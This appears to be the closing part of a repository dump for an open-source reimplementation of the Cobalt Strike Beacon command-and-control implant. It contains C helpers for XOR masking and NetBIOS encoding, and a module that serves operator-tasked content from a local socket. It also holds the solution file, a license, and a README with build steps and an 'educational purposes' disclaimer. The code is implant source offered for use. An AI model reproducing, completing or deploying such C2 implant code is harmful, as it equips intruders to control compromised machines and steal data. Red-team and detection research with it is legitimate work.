return outres;
}
int XorUnmask(const char* in, const int inlen, char* out, const int outlen)
{
const int raw_inlen = inlen - MASK_SIZE;
if (raw_inlen > outlen)
return 0;
for (int i = 0; i < raw_inlen; i++)
out[i] = in[i + MASK_SIZE] ^ in[i % MASK_SIZE];
return raw_inlen;
}
================================================
FILE: Beacon/utils.h
================================================
#pragma once
DWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t size);
int RoundToNearestEven(int value);
int RandomIntInRange(int min, int max);
int RandomEvenInt(void);
int ToNetbios(char nb, const char* in, int inlen, char* out, int outlen);
int FromNetbios(char nb, const char* in, int inlen, char* out, int outlen);
int XorMask(const char* in, int inlen, char* out, int outlen);
int XorUnmask(const char* in, int inlen, char* out, int outlen);
================================================
FILE: Beacon/web_response.c
================================================
#include "pch.h"
#include "web_response.h"
#include "beacon.h"
#include "network.h"
#include "thread.h"
typedef struct WEB_RESPONSE
{
SOCKET socket;
int contentLength;
int headerLength;
char* content;
char* header;
char* data;
} WEB_RESPONSE, *PWEB_RESPONSE;
WEB_RESPONSE* WebResponseInit(SOCKET socket, char* content, int contentLength)
{
#define MAX_HEADER_SIZE 0x100
#define MAX_DATA_SIZE 0x800
WEB_RESPONSE* webResponse = malloc(sizeof(WEB_RESPONSE));
webResponse->socket = socket;
webResponse->content = malloc(contentLength);
webResponse->contentLength = contentLength;
memcpy(webResponse->content, content, contentLength);
webResponse->header = malloc(MAX_HEADER_SIZE);
snprintf(webResponse->header,
MAX_HEADER_SIZE,
"HTTP/1.1 200 OK\r\n"
"Content-Type: application/octet-stream\r\n"
"Content-Length: %d\r\n\r\n",
contentLength);
webResponse->headerLength = strlen(webResponse->header);
webResponse->data = malloc(MAX_DATA_SIZE);
return webResponse;
}
void WebResponseDestroy(WEB_RESPONSE* webResponse)
{
closesocket(webResponse->socket);
free(webResponse->content);
free(webResponse->header);
free(webResponse->data);
free(webResponse);
}
int WebResponseReceiveUntilNewline(SOCKET socket, char* data, int size)
{
int i = 0;
while (i < size)
{
int read = recv(socket, data + i, sizeof(char), 0);
if (read <= 0)
break;
i += read;
int x = i - STRLEN("\r\n"); // the newline is \r\n
if(x >= 0 && data[x] == '\r' && data[x + 1] == '\n')
{
data[x] = '\0';
return i;
}
}
return -1;
}
void WebResponseThread(WEB_RESPONSE* webResponse)
{
SOCKET acceptSocket = accept(webResponse->socket, NULL, NULL);
if (acceptSocket == INVALID_SOCKET) {
WebResponseDestroy(webResponse);
} else
{
while (WebResponseReceiveUntilNewline(acceptSocket, webResponse->data, MAX_DATA_SIZE) > STRLEN("\r\n"));
send(acceptSocket, webResponse->header, webResponse->headerLength, 0);
send(acceptSocket, webResponse->content, webResponse->contentLength, 0);
WebResponseDestroy(webResponse);
closesocket(acceptSocket);
}
--gThreadsActive;
}
void WebServerInit(short port, char* content, int contentLength)
{
NetworkInit();
SOCKET socket = ::socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
SOCKET acceptSocket = INVALID_SOCKET;
if (socket == INVALID_SOCKET)
closesocket(acceptSocket);
struct sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = LOCALHOST;
service.sin_port = htons(port);
int bindResult = bind(socket, (SOCKADDR*)&service, sizeof(service));
acceptSocket = socket;
if (bindResult == SOCKET_ERROR)
closesocket(acceptSocket);
int listenResult = listen(socket, 120);
acceptSocket = socket;
if (listenResult == SOCKET_ERROR)
closesocket(acceptSocket);
WEB_RESPONSE* webResponse = WebResponseInit(acceptSocket, content, contentLength);
CreateThreadEx(WebResponseThread, webResponse);
}
void WebServerLocal(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
char* content = BeaconDataBuffer(&parser);
int contentLength = BeaconDataLength(&parser);
WebServerInit(port, content, contentLength);
}
================================================
FILE: Beacon/web_response.h
================================================
#pragma once
void WebServerInit(short port, char* content, int contentLength);
void WebServerLocal(char* buffer, int length)
================================================
FILE: CobaltStrike.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.7.34031.279
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Beacon", "Beacon\Beacon.vcxproj", "{95502B5E-5763-4EC5-A64C-1E9E33409E2F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tommath", "libtommath\libtommath_VS2008.vcxproj", "{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libtomcrypt", "libtomcrypt\libtomcrypt_VS2008.vcxproj", "{E3802982-DCB6-4D85-A2BD-6B08F0657E79}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x64.ActiveCfg = Debug|x64
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x64.Build.0 = Debug|x64
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x86.ActiveCfg = Debug|Win32
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x86.Build.0 = Debug|Win32
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x64.ActiveCfg = Release|x64
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x64.Build.0 = Release|x64
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x86.ActiveCfg = Release|Win32
{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x86.Build.0 = Release|Win32
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x64.ActiveCfg = Debug|x64
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x64.Build.0 = Debug|x64
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x86.ActiveCfg = Debug|Win32
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x86.Build.0 = Debug|Win32
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x64.ActiveCfg = Release|x64
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x64.Build.0 = Release|x64
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x86.ActiveCfg = Release|Win32
{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x86.Build.0 = Release|Win32
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x64.ActiveCfg = Debug|x64
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x64.Build.0 = Debug|x64
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x86.ActiveCfg = Debug|Win32
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x86.Build.0 = Debug|Win32
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x64.ActiveCfg = Release|x64
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x64.Build.0 = Release|x64
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x86.ActiveCfg = Release|Win32
{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {9AAA762A-4780-430A-8D4B-C5630A3469B4}
EndGlobalSection
EndGlobal
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2024 ElJaviLuki
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# Cobalt Strike Beacon Open Source Implementation
## Overview
Welcome to the open-source implementation of the Cobalt Strike Beacon! This project aims to provide a fully functional, from-scratch alternative to the Cobalt Strike Beacon, offering transparency and flexibility for security professionals and enthusiasts.
Please note that this project is not a reverse-engineered version of the Cobalt Strike Beacon but a ground-up open-source implementation. The `settings.h` file, containing macros for the C2 Profile, is .gitignored (and thus not available), as users are expected to complete it according to their preferences. Once you have your `settings.h` template ready, feel free to share and contribute.
## Prerequisites
- Visual Studio: The project is built using Visual Studio, not Visual Studio Code.
- [libtommath](https://github.com/libtom/libtommath): A fast, portable number-theoretic multiple-precision integer library.
- [libtomcrypt](https://github.com/libtom/libtomcrypt): A modular and portable cryptographic toolkit.
## Getting Started
1. Clone the repository:
```bash
git clone https://github.com/ElJaviLuki/CobaltStrike_OpenBeacon.git
```
2. Open the project in Visual Studio.
3. Ensure that the required dependencies (libtommath, libtomcrypt) are properly configured and linked with the project.
4. Build the project.
5. Create your `settings.h` file based on the provided template. Make sure to include your C2 Profile macros and configurations.
6. Build the project again to apply your custom settings.
7. Execute the compiled binary.
## Contributing
We welcome contributions from the community. If you have improvements, bug fixes, or new features to add, please submit a pull request. Be sure to follow the existing coding style and provide clear commit messages.
## License
This project is licensed under the [MIT License](LICENSE.md).
## Disclaimer
This project is for educational and research purposes only. Use it responsibly and in compliance with applicable laws and regulations. The authors and contributors are not responsible for any misuse or damage caused by the use of this software.